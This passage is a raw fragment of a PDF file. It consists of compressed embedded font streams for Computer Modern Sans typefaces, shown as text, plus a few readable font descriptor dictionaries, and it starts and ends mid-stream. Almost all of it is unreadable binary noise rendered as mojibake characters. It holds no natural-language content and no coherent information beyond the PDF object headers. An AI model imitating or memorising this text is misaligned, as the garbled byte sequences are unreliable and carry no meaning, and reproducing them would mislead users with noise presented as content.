qֶlO1MUeuh-wkror:Q8ZLVX"nj7M2cO3җ#?dȞu?4qXoiJ[y[ksַ7~bB<1HÄrөbo }(LbO??/& `jdrbJz֎bwR\˺ 'R voUﲼ1 "j{x"m6z r$\vtR.'zC(OI>:l -}2U6|8un3㡴VЂpm` :Ye rQ{C7)qd؋m\>r0 o4M#GKԶWNOԄ+$HGWT %3VYHy;rf&_ wr3cM(18̺fʴ5jx oɖ8Rm˭'Gxߙ!WYahGMKZ7ΘbJ2қGGv?MO 8Xaz&paX'Jeh^0Cr\o*JXͬfz ]dQ Zy3uVp }íuRnT&Fx T۰&sB%Y:mBټڝ nU/YMKHgA#X~z/Am]ramȽ{gEwM Di?3\="U{r;-ݓ yIO;&c5~mqO o&Մub׹~KҘiE, [z5hkR@-XB[PuJ*|!uZ'=kWر5墪(]Bp1CiCxtJYEp3k e^w/J=H!$[xq5n68"dLI^;JnFr)Cf7]L8.d)tHe Em1(ҧ8-/Y_7ebeRr# /԰_aڳadF ޜcQ(Nsı?VnԳ6T*SYek-Ӫe+=\V.s#+4BUsR'IaˀzT?@!TzehvzZQ pxl::u2tFI8~y9uG-KlJ=7keǿQ+_D6$OrOOw4W݉K(n8|pj'сyr{Kكhl6s;};8PjDpō"WV~J=\ff}\nG5$h)F-kQ48ɦhw-߀/g#;Vj^?|Ľ^o~+mÕBm N~*ۗ;@{k%%P9G|iDǚ`5EW@1$# }C2eZxa\-0} uU@6SKnqUXoi#fwS ɧmM)y%/~|iE}F͘ZِSkOX@0u~35n[t`NDߏ|JȪղ#PŜE h3@^b=TGBmwjcHqjmT/}q" WVoD"X88'KcXRK|X{ǴL'3T'' {tl>}ޅZi|%k0m+Fk\̭cb F=bNYߓLۭ07wlxA &Mn3jSD<=1e% A]+0Bn#YUq C+n(x|h[SiyHea1by]Jz$GL\ 'ơw_ -ö_fWBwN(5{H8zcă/&ՖWXQH_{0M;C߯pb"#kϭ|#&Gv@êZ\}E|9ӽgiqwgBϨ,Rzy)??xW391}|T*N52h2dk4%L;(P^qTb˂˝hԪv՘4K`ᵳe 4x쀛Vce7!5ADt-C,{HTھ4q9 ӹhN/Bg9u?du^ESmD uG"(yd:qu/gt͇,y^2 SE27W7RlxHٴ's*E"4lЏ;V7ZvEJb7cNnzںrT _Z$P"я?oJ}$*)OEP-bӑ(sN:skBvI~>[u*}h>om)-˭6IFI=Qto$jiq./T')g*G4O< .|K2FUfTSrFǾS@KITآ\'#,~=ݳ+}4ᡓ7G @s L`ـ:^dZ?æ^9bQ^qytu) Q&c*a9eP&)nOȀ{6V|W==Y'[ c{vT>Yuf݉>C,dhyބe40> endobj 1262 0 obj << /Length1 1556 /Length2 6447 /Length3 0 /Length 7326 /Filter /FlateDecode >>stream xڭeXkA@ ABRz;n`(!n.RE{s͗ZZtTj,bf&i[# PPS@ltt-L@1' ;ɃIsstK0 @L0ba lM n1(g C!f `a(x69 q#D"f0 b TEԂ wri'(Tl'_S?~?6vNP- fVN6:Vb0 ( .m 1Sr4p_v"KPQRFv/2 fO?1qr豱 8\ q6`fW uD, 0u\ (qGR(}G P8@;BT#DEYTT#PB, !MG(7#D3 !"t@TF f~x{iu/,ΐ{Ewcfg ݋@gD"RB!{ZA#"vOvwnZ;;YA}1#6qm!'v7_?F[ĵ_@ T!b{(v̅b{ύ=DL!]!{]Ws[/.n`a!%/ř:9 f׋x:VqbLښ X'zK 1"[E+V}kz; }mϸP})wm 2 }g*l7oo R?S/9ʒ)EZ=EtJ)3>) ] NzRle%va|11CS` rIT]藜H1#̜|xY6rĚU~$ܿy 6ŝN¦Z7y=K)9o8+)8 ؇?'LG$sg qZ퀾߂Pѿ0ߤ> i_JNRIkdh].wPji;*U!U;k9iytSZPk}myS &~BPf(K[r-Eoale6 γVӫWk'հ]y;S5vAk^(BC{ c UOs_9 aӼoW("UqZ'h.4's !q$bPx]<%G~,L"jNi"ivoǵߖ"z Q7vG32e+Je&#b^ {7GC?k`Y)]^g/ _^Rxitl8ώ򤃇kv؞^ u8E#e ŐQO/vՊ]OڟߔRw絡|;~g{'efyk[hq"4eW_u^Np:Zi\ : GPYxVRXRi+J s8[U]KDv  [J<2|(kx=<p56=*ZvzJ z ^\q^#ZWsj~G5HOpqZqx ji#u@G"8_QrU8:p$Pe.|M:G Ͼ f8C|NELJm*KSU^f8tMҼA-.&gչeu %ȐR"hVO &NhW]n%XvV^֡zҸJ_d' |cu65UOv껞Ue%浾*}c!\!O#TqnzXCG59'f.UUC5j720i~B]9o:o@q1Q'UO,-\f&mc:11<0'7^Mb@vO G zFTJFGbd>e̔30N ]Gl`6&TZԣ`on H(ŶbvRsه_U[8X-$3_JJTcEW#QFRWpka}u}Ebg"*S7S]~Tgَ[Cu|&Y6ٍUj$dO_1kE > a{)/S+(Ul"iDHM8rZ1P®np!/o‹1vоP }^?]KifR?--Y/SS{7BZmz.Idxˍ 5ױQUKUei߶v43ˊ tUd~}3uvJvp<"i6xW4Nn|b7!iڸa < {G-ţЊרb-VʻS?B骔zY%+m61cT)U>>F©JlO>1YPRw\(HmK~ĭ-{)8Ej8!gZՠդ",Oi;RӐ\IrmI@g܉R~JJmd%P%L5OM^5:O҉Rg۳8Bö:U?8aEͅg'kLl#}<^J6 f3.{l$=Lɮ{d4A9\H=` MϚC#$ag}^Vn K&49կ-v- `r&ߊ1f`csX\`MFյC^릛D[gw+/8L \E LZ7!ǍkP$($$Rw> dvxϧ֖Чt-<Ӗ ^`;<"&Iu՞?8jOѭIR*z^-/+/Mu`O?!sry'J*LCߩ{phK_:jtYqݔ8r/6Bn+ 1qG$qnRRr8`^ܩ!)-.OO (ةe#ޠzRzU \td1.݅綐34bb)4x]# :>ψ_qn(dV>SB#fù~ޔP~]1pMR eA/>ICZ[aKv=I/#0m1:k#?,,'0.`Tղo~%:B~7L v.у$b϶H7d7m6es,YjYN?P^Z7\;Wp[ho]`]r¸Ȥ ̋IOU7UwI\鉾/;3f4m3Va;kX٪1'y웟Kh3$ w|G 78> &qS8 Ll4d|IS+Dz Y_A]r'eӗk5N4-7f_8VceC#o?oDVUR)Np;(~v rXH)tH2n@Ec VlZP'd5 /r ]: `[w@j)ixbau w2]p=:02:qM8S.Cbq=vM3Gݗb $~_r9X[$':#5*zU-uFͷ{O%#).iVXKsi7&+w2ݤhj /" R]^("o+;ԿKeؾ)3gSsxGX!@<` "?d\{ZAzILڈh[˲;aŧ8OeaMl:R8 gGlЖ`j$y"'A+J`yH͍$)œEQ/PCOo|3j%D3]cY-(=~*Pޯ67 d~Kқ'8/8qW= \]$!VN2EC -_t\=mxI4ͥOX7WȦ!Ѕ:Rr旲LC@|FI"ۻGAVf1MIdRxrKu̐f<WtDs&nZ0>c~dۛT6GkH j"y%'3.~Js~Ⱥ\TDȚ#49^Fcͷ~3#tA5]"x(/'i}>cJŋHjQ~{nZ2;.yR*/?!29ajl{pkXU !yƏI̖hƐKâR 6R O zDѐpyNϻ}'+mz<'uj d endstream endobj 1263 0 obj << /Type /FontDescriptor /FontName /NDGAHU+CMSS12 /Flags 4 /FontBBox [ -62 -251 978 758 ] /Ascent 694 /CapHeight 694 /Descent -194 /ItalicAngle 0 /StemV 76 /XHeight 444 /CharSet (/A/B/C/D/E/F/G/J/L/M/P/Q/R/S/a/acute/b/c/comma/d/e/exclam/f/ff/fi/g/grave/h/hyphen/i/k/l/m/n/o/one/p/parenleft/parenright/period/q/question/quoteright/r/s/t/two/u/v/x/y/z/zero) /FontFile 1262 0 R >> endobj 1264 0 obj << /Length1 1796 /Length2 8000 /Length3 0 /Length 9000 /Filter /FlateDecode >>stream xڭUe\ݶABFj:D%fS;E;F@@JP$x{s/ֳ{i)XDLv( SPSX0hiFPK;"v6ĎA ww4^v؂-M #abdP3CY"66NUlʊL-Mc%[ G.`G'(LKL` 6*raJ?D7oM?F6`gk ;LvMljlߧ2P#K I ll 58eCL[oԔWgg:S6@v=bXw-lll #Kbbgj -70,!`7 & Bx1~ mq{D#% 6P@GJ?"P?"X>?Ʃ`,Ƣ8@Gc`;4@0F&cUedkf#DƏV5j6>9Y?4&vYmmKZӿ ,Hdb-H~88ӟ~; k#Ř=B.X_{9;s1 Jy & w{ 0//_֪ԁ`mx b ukl002{#G0? _ΌcX=NV_0c{a`/_] vUddA \ jW/S0> j`;9QQ;7O+bf]j88; 'f v`,ٙZ4HL"3‹7*uOw`,ۼs`\պ.K'F~zKQClvG I=e>n[.xϫc%څYGy ;˔p=.=V!hL_ڝ rξ%w` {{- i;h={j/')ỹW_"d+ {' /zdeI't+.j&B2ᛘMQ jw93<{J 7t "R3gV&W[r h_~#㭉:n_!bs4S9 Xo8$zh<|kke'9_o1׾c,:%_2Fo26WCΌpP)\@ޟٰ B ׋"*7C7kV~7JE6c]ØJzSo>O{rV)5 X5M9)0{Սyաn9$lF=~am|B ؎xB| u w ښA-ɋ9B\aqDt/hK [@/fݰ7tOrRmɢM3i'Z `S{UniEIW_ɹ[k.+RuvSd}7~L0Ei204Y*0Y8F;6kS\IFVΓ,Tq_IC=?hJzqu-6gy͉~j%Rim;v;Υpuϑ'V\2F7ѥ/TXb{t=-tN)~~4r@2ΩGi*Y{ϓw؀:}$yn%ކJ,wKǢHvvsdk=Y UK o9kF4*IwtꋪUW snٯCg+Grh3<$ 0rHM83B1&7C*d$]gHe]NK1y QjkZi-60IF6bJףjɨzx]N3ۡی W#DiY88-]ao9N<> W̠Guu10p[KjQ rrvOfr ;i3mXsٵ=,7>6Lv4P76N۴.}زH;׊#F{`֍9ZtyYIUx*V)8::}ޮdf$19S{ ZC *- DHzdɱ-\-2DKqagN>{ueZv\*7}hJg8<(+*鱤YEc=n [Mag;vgM,N=ԪZ.7"kT^lz^Cku Lo9+v;+镩PDSN Gkz9na2t>fuұ{{H7ϫάepDq)f,')Vw`$L K˦[a/4ڪ#Uv['#ӡ+kYy0M Du(7:R;N +䩡8[u7]7R݅Q(ݾe^\b&O:D shR~%'x?9Qs,kK&%Y3T_ `2({e& s|[ qݵuԉdJ-CK}- +l`e\ Kx"6n 쳪 v:cb 󩌽nմ8 07|S0+\u^ث~(6˯Zo/{ sO.;\7Js ?.11GL]}Y 1N.ɦd8ݦٿ=UCDzߦ4Q5I|z<)v%₏G"jt]ŇO\aqM1'?)9Xw3?y>hΣ%[%6idfAmU{6Բ\iYrrMwaKZUe: 4r!U+{~N,C5b/)^%@bMD i>gːnAvΊS0Cv#.ZXJ6fmd+Ā|ɀ%cƸq:rujijmHHRc,ZM5Tx C̓ıCpE+72lMۀ_\گVU)Xýf؆VR8o%Ƭ[ Eʟ _7ǡ}/tR3w] ԓD<|!h:DT}b6Yquv%->T5-)!r|<Բ~)VV5ɵ~o_mzXT]Uœ?qekܽBͫ]0$Fx 4mx<˺{ EͶbjJ#!a+PdI)o|Ns?2[std)Y]'&o}Ϗ OC= ̱[WNj-wXjmnEK\ɪ΄ Vһ5TO`og>574앬"b"%m+~xկ'm2m%^\hygƖi n6Ho93w B+p܄"URHY.LogEhXKt-~&nBud|gLzaY/;X k!`¸iD5~ZA}t=7H~oa9Q[KYdJ9Bo}lW{hRU_poG |N_%Ɏa=Rtb{]ƱoP*;{$גJ$ݿlgQб0}@_\SU~a.Iږ=O7:C.;S޼GC1vӀ,23hIZ+2r R|ÅNu +:5~Mk`8yxoq+0T]]8g1![~:[P@y*\Z ɐ!3NCR$MO\XoKhv5uGt4jQDbFd)yde&d6%hXAix,n`1*fy_ԙljontr~?ohvn-YKUgbI/}t&J] v҄:pī~i~ђ1x<=D~=LFDq2¿+ (ا9rm_/#Bu ý3H+9{w! wDj˄􉊔{3<sUj8 kU Gp8s=9i/FRdEsAM~r9\@\tqϑڗi`QBA \/b=̻\g%|Y\f4ql .\P𹶑M ߇2?O)Rkߛ8}1K`4IeXkVCsz6υvi9I)"x}hlP.-rFa$y7T HG!k(zNTlso&ux!nXQ"#G YZL] lk e!;fpc$S_)wrzOinӱJ.FuWzū#җ@R_cΥ˲Ql'ԑT)]"6j sV3{2^e;NNΩQ(b ;\qcTu 8GW#n @}O7UxxOf<:sؖ!(`i$6G"!Br{/P\XDī랫ExGm4n[l(!幔Jtc@ՙY9f[协PK܏ZŝxjOp{ cQpWḺ[FL&_Hƣ}ӥ^bp%ۓ~6֮3Wʎ8,(gxjDjZ1Pjwڴ. Zm U3+pчg-E&X=ڂ| 8ame~B ݦ5=dd;|5~x2R蕑w{O:ٌߝ*aʿ\v ́qxͺԪ`VV'iW7HLW nY8q+n $ܧu:4?)~8ѡaqZsy%\~%}WO,"o\5\%Ϡ攴cp9^J(ETn:aN7=8J8+ET GOM) 1jA %v) .NH=𸽻}n/!HljF]BD~ݔɋ,F}D$}vۋ|?+Yr|}J @-, 䒍O5zkwQK{F+IQƖ#uɿaT%pDzs]t|{NbF1ôD}r OYPhj2:*,KWdRPH,z7jVBw}5|s pܟwŗ2[|+Vj֎'z/ԸXE2wkb/i?z3h٤ȿa<-Xz']H^u#i2/<B9™\d*J 5ՌFxj|W<-(D9n`<,b26Y+jᥓ9X~Baq!&`>ۤ=b"Ь+P_].z+cNilx?\w $KuK=m\l{^tZquǶB_E,fyS`򾞐T}D,:b}m^) zmΞr|WUaɫ+>?k*_dSWRF`w'? {Oj5n,S3/S2 +^[w9f`XrX,o r\d g^$'o]GD0B;=~FrT;oeM0+-ftJ~փcfMiFT+CǸC %{|*mނܚ5q'W_DZAee*H?fIN%1 &'w[qЁPG8E~7` brPaxX 嗐͛ۤ3֚ylUd&b*ڌ6Nf%rLQ*>^` tfF% g_hD댍<>y~B%^%:IAÞiX#-eGfuӾF!cYtnbK1h"mVT< Qǀ ]Z 9Ы}O9 b쯘' Cg]Dxݕ)XS}R+8LUc«nȣsm(1 |]fw',@-hJ곬j.mm}e] ף%Z1 f?6?oB$Q%{6};k׌0di%$|Q((qegUW#SQWԩ=RbVwFA3cK$+v,fdWʯF4)DfSg(g~*k]A4ʌz46mi̬7쏆J{b44m3ir|1b{Ĥ>  Orr hc!RV&R>r$|I :+l")? endstream endobj 1265 0 obj << /Type /FontDescriptor /FontName /WHGCLT+CMSS8 /Flags 4 /FontBBox [ -65 -250 1062 761 ] /Ascent 694 /CapHeight 694 /Descent -194 /ItalicAngle 0 /StemV 87 /XHeight 444 /CharSet (/A/B/C/D/E/F/G/H/I/L/M/P/R/S/T/W/a/acute/ampersand/b/bracketleft/bracketright/c/colon/comma/d/e/eight/endash/equal/exclam/f/ff/five/four/g/h/hyphen/i/l/m/n/nine/o/one/p/parenleft/parenright/period/plus/q/quoteright/r/s/seven/six/slash/t/three/two/u/w/x/y/z/zero) /FontFile 1264 0 R >> endobj 1266 0 obj << /Length1 1391 /Length2 5283 /Length3 0 /Length 6096 /Filter /FlateDecode >>stream xڭu\jiA:C`YFPAX`%RbZ.)S.Q9=x?g7+#}""GFA0?^gMHHËi1l]?0 @LĜ4;ka_&C:YH[Q F0zz.ӂuZLMg$?u?S:-\4 T8&buc<(s~1aǼ4AhtqbbE<= O~Rf[6Vuf8l> g*T[x?]#>PC9Ǣ'V-VSMSVg[dǏEuFLs2rt fYڞ״:Wq 蓣DB<^ ڇݛ9@R!̎zzFCa4MP#93^q*N:}_.[vði4q\[A~օ&m'3n ԅH*$\x%sմ5 |Q.wn׎igX zJP*30k@R>_m[}wDM t|23TZ'v:". )<%\YRӑmg {{wfW%/u d.dDIFޢqkbzU-Q)raAVzJ^n?ҎPm&^PE5y–s;_)T4[:+Vʉ钠>-jo\-b[?z$n: ;>Z$q`Aɟ˫Q[5o*rq_]n<%rd Vl'YK &exw[$qq,DwJHqJ/"P6X廐t/sreg\/G]|Oٮ;e0-rTc0z DӤV1i([s1 [,EnA>񶯉Iq>p2C;Y|\kL''x0K7:@<@6|/C53&GX/+F3ss#p a*cӤWː4)p`cd& N&ҝxsl_" klߘPLPMnͽ9UҮi^'-z2|lV$k+p"-4_Gҳcݴ>e! ZKV}ˉ;i',bϝG(hGJOyL =zKm67ΨÌbgvs9MƏ_kY%N7$Fv0z2iEod(_~G/(޳ttےyqlU >BɶW9UB_%f9*o38-0VKGm޸O8}}jZ<ݠT\ՏB^b~'=qAadB܂ i N_+!Z0nEN'Uu?`Rvv6)ΤM̃|@-Um76-t-e hG3JdkNv`o>IL۫ė$kMnžtW<EkK k>Jb꾠׳JPv|RhQ.IIy!y:Rmz")ɬ"v"fs1wBgrE,7j67JTl+]6m@Ӫ4?lOn5n(dM}-)ìySꁴHyx_5|Yan ^>C?J_o se7i]-ӯL!;s-)6]rz h;}*" {Tä`CN e_'>9-”', ͪkAiTk"ӎ󇜴IF:;:=҅ /`1 GL~Ju<1IF_J;) u҇e_-!Dt&a2ӯ; k^3]1)ސaܛ+єE6>O;ϧ#n6[|x&pe:"< #o\Mr 9Ϙs@j4uQb!ݹT1g@JlZ1 JYϬ88sd@EƩu <ڋ|>PKzA+ʟ 6KXzʟneqJ}=qv+`87 ׭)!|=IS$?DYLwN{%sɇki oJL|`cT|#vQ#'Cz˫JƟi$ |xFLIisE115"yCohߍF#am6_]d%t#3Œ…MkKxeٕ4Gۚd_ʣkj~6+P2Je*:e~A-ʵbRy7vUz9#*b [fTtsx3v~K͜2SJSw -_TO 5` b>l\$缅ڈ?+>qK`|c&ԗ5yU߀4qax+H2|8r5q vZ%64HTfl Z|<<9h0XIjT16B;īi5~};mX,g/.rR\ BB e卪$IӤB{=Llh[g2_Uڋ{yat = FۚH![`p\[ssi'ٺv^PuyG LM!cf8~qR[B^ ,vO>*=J @[%T|'u]g|DIP +P˗J7渹+!]`0a)}ipTYA^)*F2Z] ?gz<d7SOIKx_4`qrEa #IMišqԮuan<(rJzKe!RG0*QJ+޷ԝHn#AHfKq),$RTG[4LA{.+J(QUJlXv+lךʐwcw#'мz:A(Uâ'c0 Uh=l^F}F) ,R>+h0JMTUu"Kz4`Md2|8K1IU0a+u$QHGèR69PsvW9{Wlp VRo }izm*ўct[cdEuծ7^r z,+J-_!(^QݹRSMeyţ}}a}:x. ;sN#9> x;@h~?^ZWظ0>灜VSTo;b<_sIa -g2dbLRnlHҸR.Fv|9NbBЭt&ڵ%(벖xٰ8.D,{_YY<&C4>ĎsbrL}zmD{L4},VWw9 &}lqL9cE56B&ݕt#J0ќISiЖ.1l y~.$MPەۛ$s/ CZT9a y}iUHN*+`OGr`s26D?YF D2)iތfNPkp'm@QSپx-{K~H&52 1- ݓl O8ՁˆH~bZ3ITG<3O@N%!h4A5yYN7T.5iSx IqQ V4^|3/rn1DNte-{+/ \^d1*-<;+TD\Rs Fudhr<(LQ0P =z |VOī=k$=:O|?j1 endstream endobj 1267 0 obj << /Type /FontDescriptor /FontName /QFMSVK+CMSS9 /Flags 4 /FontBBox [ -63 -250 1027 760 ] /Ascent 694 /CapHeight 694 /Descent -194 /ItalicAngle 0 /StemV 83 /XHeight 444 /CharSet (/C/D/E/F/I/J/L/P/R/S/U/a/acute/b/c/colon/comma/d/e/equal/f/fi/g/grave/h/i/j/l/m/n/numbersign/o/p/period/q/quoteright/r/s/slash/t/u/v/x) /FontFile 1266 0 R >> endobj 1268 0 obj << /Length1 1635 /Length2 8845 /Length3 0 /Length 9763 /Filter /FlateDecode >>stream xڭeXiKB%FN 遡fiNIiK䝽9y|߽\L , ٹ8@)W$_sq88pkT.VnfH< p_N {)b 9M``@W3@ vr[p`sq,35&% e \NQ&HfB j[bUaZ`7_=ajomo PY (@/@e!NP@S9USzȩ@ZA=<?8@ QqD=fC|9qDH}?]GфCB`,]"2\@X! /m"ĚDD8T|P5:"_fz3"j?r{_O?ˈ-s@<?ɅIp!s~( C8#?i-8ۙ:CHP!qp7. b B"eH" R{#n;7Bb]<#ޡ530s R_eiA iB+BD_'46J@ K5& AW9A\WGF(C9=YͬG tʻ\h3wg~ck8torڔ:;#~ `CĿ)z'mp娠N>ZyQ+ӐZ -!k$H|;N P=]=RzP<@/p?.X/ } Y0WGHpz'e2eMq3`%s|16bl&GM6qq?=(YTGN ~Yf|rdII'vT 7SjCA/0τaYB)ű|4vU>h .* 2]f{Yp@ Q{=c,f> Nu2 $ 7؍J&O`&Z@픡eYX~Qᗇ\i5~_^&2UD@N ,.65OP4ٟQr6Q$pwahJ+bu_JM%#5qdЇ|urR\ KRK~|g2Gzߢ=g.TC^/ɪm|FTZy8{%`[G;W$Oܓ8KlqoOڪmN6EVL) 8ۦY9K?{K_QT x>RD!y_$"%SRkZ3Rw(IuLmxcw+&5#e& Z7dۦM(ڴ?,/}$_Zq`Q5KN0y}*mq!g-cV]QؾӰ5F)_:X]>#1%ŭq>CLFre{e*j\`!WcLK0z.:km,!*?KOjt7mTsG|A0A-᫁SC`Չu-'a†mPf ;)xɴS3Q YN;TFn9¿2]en}FQ&7D⥷c-uoq5-vB%sBKirR cT +8ty k'r~^6W$ӗ|Q}) A&5=av(#: I.*A}(WM]Ot_Epvۀy.P@zOh ي'Fef:e pe2'0TX5}< aaE6ןyj~q1D'X]-8tMQ Nj1AX7];U+>3998uojs! Qu]Q63ynJ# ן4agVʃ;ROcg7\yi1P/~!ih*B-n]?*;(#<.kOohEϪ{6, +Ԁ7ܠ^Cԫmմ3t=J(W fWӃ{JaD:ˣJ˚jND'\ ~.0U]##3rҕw-m,wQL#\s#t{N%[aP+ =InC&,RĩvK%]zj%=ɳ`U0}ڍq&Ff}-|AKP_R)Oq]m=3e@Tqm&e TYDq-Hsb߄x^ Hvl&{k 0l6cUkt 6{WE6(mGb:z͔W kGwh G, ˄'O9,ZMq OÏV'qnPnc|wX2;UٛE u3s(O@1b.G^Jl'1^Ati<,*河Qlz4q؄z 1Qqě#Y>ˆKyƵsŅ=WI9_ۥ_f0&98{/zT [ >_1٠ԕo@Rl)).:8z{tmC>JFG]ܚxb_pHYfkŌVzo;Se/j :zG,4wjo~x~[h)f)&^M'}eP9!o)1HkUrk_ѩ3*%LL;~LgNlC &2k{ch eW10Ҵ %I2b_wf1p=PstFi>tYExݲ =Phv]oXÅqCvMyiS|8b\&J@lkv4nƽ?B - U }$/}o]AZU܏=x7!+6[.Ijʒud ނU\W\ڠ2Ր! ^_3}*o#SokMYR. u7g*f}zkmq @ HwzoV28vv-psr5,+tfl$K }]Yd`b(lGڲ^N"kXl-їV]o.>:X&Xlg9gEZnE&~"DZm0ͮ23:28T$S3>㾎]wr»նF;ץ>(ϋz$H=fX-A~VwzGoNtmGo89 IYT@p"4xa?z;8=ю7o,k -N!t\!-rN3 p-߆+`]aY hQo_i(*y@^2ܲbnn)Hyפǃ^&p~#ak '=G{Z{13I/KrhvDm7`p1HJ2֤!7OR3x)=$Urʕc- ~O% ؞aid 趛l1AJ1`){ >؍TfS~{m%X<ǂkX岣͝kXK%q$BOןa.z jm zh #LQvR.No&_ɛ`]uzy̸,#$kp} u Y1=P2ѩ]. _жM,Ɇ﫤pgJĤnn#|]FPfbSbnuA&I\p ֱzŠvsh|7I{0^9x^Pnid0)+7d.;oy6%Jm{9EqaL Zyy̏r^Yf+ĵvF+L[T!=P\XQ"P@ݻ8"ߚĢ/1ؙ$ "SLE\SSY>_Ҿ" \hjDE:vrEVNBYۀA{\⧖yGe0Q6E6!zQR#vٙ1 KUj̎ḁJh)5i.ք,`^7m]5HsExr+ƫrz!{5`4 `pzkJ U@)VIޑ I?+ͭPC@z޺Ts j{Gk9b^ɾmE_gաY0ʷ/Y ohusH,7&2fPt\UDM[Q"/" I(E+YsȟA6C .F).kmՉ jP&Z_<޼Sb΁~*xVH'{ ~R?3k)8OAd̚=L"2XK/{9`.jhby8uE Y,Bƹwݍy+6q^!{ƐLv(m 9-诃XrpzPތԴ MVE\S$hR!e|Č9r]Ц9}7ԢM,}_n m82{6+Jz@iuԁ"zNUPD=%xuDXDx)Tr_rm~LlD@OM2rxm$+GmwOfOj4& xQv i5N~o5 2sZne;σ쟋~yfZܞ`_b? K :^߇ 28,+nԄ(= w [kŌBULy?7Գuϖvj9)Cr^}1Gq-.'] tLizp%cěa>i7^=o~/*>8^ʨSVdz~> K]k|?QFzflʹ"xBĠǯaT)#6B[.3AA T|1.#\h*zKgK~?WP}Wʇ~-N0Ve6XX &ew/6WO/Fvb ULA dYӂy'2Q' 2@<-4 :x4`$`~ 1KKI-O8 Qv4N5^n2y;GWdA'GqTEp޳9^4pD|?ŅE>nKjK[e- sN=+[AФj&߿xs B~_{d9 Qdp"DuKO!W˥]MT!fjvۄD9;7Sf7l !+NOg͋iV,^V~S-9;kmX/>|r~;ANBԑ5ޖBgp31}8\cQX k.Y˛YЊ׾X'V$YЂЙ~Kx7jǗkN+|KC#}g'R1mOU^O1jPF.~?AU:GmHQ_cSdM+$z-PT' EđNy1?@أvAA\6Ƶd4@o CIQm =Xi;yomf!,–8ˎ Lq (kIc_fZI &6ru1 J tQ77~뵘,q;.3" XC!A%Zr]9auo+ݽ#b_,b1u#mXfA-G&O˺f E` . >ܧ[uиD< ۳FNl]0^E|!tB@rv*%},iԵF 5ngy3tvK +'$Z96 endstream endobj 1269 0 obj << /Type /FontDescriptor /FontName /KQSAKW+CMSSBX10 /Flags 4 /FontBBox [ -71 -250 1099 780 ] /Ascent 694 /CapHeight 694 /Descent -194 /ItalicAngle 0 /StemV 136 /XHeight 458 /CharSet (/A/B/C/D/E/F/G/I/M/N/O/P/R/T/U/V/W/a/acute/b/c/colon/d/e/equal/f/five/four/g/h/hyphen/i/k/l/m/n/nine/o/one/p/parenleft/parenright/period/r/s/semicolon/six/slash/t/three/two/u/v/w/x/y/z/zero) /FontFile 1268 0 R >> endobj 1270 0 obj << /Length1 1204 /Length2 4421 /Length3 0 /Length 5140 /Filter /FlateDecode >>stream xڭu\AC$GIFH`USNAIiE||{sB|Fj0]8JHR)$'Eb,\ (P9 J2הd䩅w_O3 Q+IDB!h>΀BPS  j(^RKI`H(pDSRF;aa8^)AR@Pa(_ D 2j &R>C nw+Do {10'ߩ0$߫X UC; )鿃H/03Bba H[MB?kDc|X7zJ%%?UM hX _j|H/@ap܇ 1X/''_*iE7@zIM}I2)N1Mo&Y7Y3&BP$R$82HB8 B LP A7^³a@bu' R?P$@ @޺ TBZ0۔U ?P' c;! C'>a!.) aADRC޴֧*W(3z6yC] 뺕 ^SP8c/-hn)tNz yFI6je)QcNw\}y XHnK[,<9=:EO1UJj Qog@mK9C fz ލǚua:NSw}fpr>a%侦т nd) $ 7ٓxvfnpiy?I"i=Mf+xXu5Ls0d~0pxU/ I)uh\mr5ϳXJriOpOHt+QdT2?/hJciJnju7-@!=MU͠%h9BFdVGHwQ_\k[vdQY3j;N9TrI=u*rJ5_/ ͚5Gè8W2]4taus(\彚MTLZ@3C곉@6E:\*(.60)9t#;Fflj!j:gkoq]Y nQ/Ŋ,JB-IYC1, =&^K" ieX]<ܒA}G]uɯK=P zU_3UOSfgY.oߑ[iPW 9G4HI+8ڡS[>m*'iHdTaѧjtrV xEkJK %[AJ)[F'dN4N*8p'nuM%NW5Y&lHO'GTҏ{P9u"|sz.83ܞVQ j9M oŞ#{2V96PHxGOT2]~7͋Ri" 0@[tanh~9y}sQƚ/{ۤ}]h?rkn6%dWZ#Z)Yi0 OR8p ߨܻXŪCޅk`K!Y5-,}PA"HHv^em#;[%8>?m~ɏj뻵Pݫ~>wtmGQÑ>w1}GU6l9<'1eNK_Z  x*8:!c/"थũm A%X ;k*ŧVU;([y=,QAGndhDH٢G H+0.mBS*_|akP+o(ټ;빲j<.T+EfwL$!cф+aR/yA>:pgD_[pukLܸA&~jR^o^`xNEŋ/䴞ic٭r5qK2-Zwy1>*.WEks\̤=.\r87,DG(|GG쳣t3{O-OEtgÝ"M]>o+1f@l;ς@fb^S[r9ٚ1RWgo/JrJF6{p8Xа-qN̽cnP.@ͳ"֝GO4Gd-' wn6]]e@[%^"h `(MRԙk9Sū$..S p) ty;CpL{Ib%3e5Ef&zx \G)aUnJ&ؕzpԖ3v[sDyYiOFz-oKq4eK6,* ])>CUuA1;3'W蒧eE5^56_NIIaG^eAZ 1Df%0U0Wh ʣ"A<W;"%5KrjJ3Sl42 }Ög&hET$+Rʷ^6{.v 9 &nɉ  -:xYl2ٺ?3ЍqO 3oDK褉t/\QZ˿Ctvcqbgh}Sb}{mB):ljZƑ'vY< L݅]kL)x ۙ-<~Zd5ю9g*s6]Z)9qgŌ ']eJae<ԠB^ݔe 81՝xʍ8L,RZѐwEamAjhb~KW¦_]YR6Z}~%ĒJm@*YpqZ,(Ӻk}W*rKzWXH`sR[U$F:%}}[wdm`kzuLeآk ~:)=̡[<lj$]=۾NRW7[nOn.P/ZlzO:sL"EKIiOBwsXJC !<\h#GlFn0Yh# gcw" TՋfIvV]bٴ!,xуJ§ӈm$|le'>Yߤft1̦g%K u UGU=PUI]~̏Ð 0v%:S]uOm?7 :> |U 9/dK; 1ITĹz61fke OpD)N*T`+~^TVR{<$ԡ"8COO!y z^|217~OP<V%YՊ endstream endobj 1271 0 obj << /Type /FontDescriptor /FontName /IACVDB+CMSSI10 /Flags 4 /FontBBox [ -97 -250 1077 759 ] /Ascent 694 /CapHeight 694 /Descent -194 /ItalicAngle -12 /StemV 80 /XHeight 444 /CharSet (/D/F/L/M/N/O/P/R/T/U/V/a/b/c/d/e/f/g/h/hyphen/i/l/m/n/o/p/period/r/s/t/u/w) /FontFile 1270 0 R >> endobj 1272 0 obj << /Length1 922 /Length2 2442 /Length3 0 /Length 3044 /Filter /FlateDecode >>stream xڭynY{ ZIT5:0CP608SUP0*L2PAL=52І*fd_:ITtBbHC}5""c  ?)gA:/ X*zHlHx2w,Hc&UED8 =Bf2?L^ҟH<^6K!}| @q }~b Ƀjql ~'PC fM@ч~LuC Qt_)fOfB454`L!qr5 #k`( LaiHcZTf K0'SxUWZ~m!Ԡ| Z_PD0d"_i'™mwMMɴ@5}=@ cІz#S( `<9lXޡ20+*fEb? 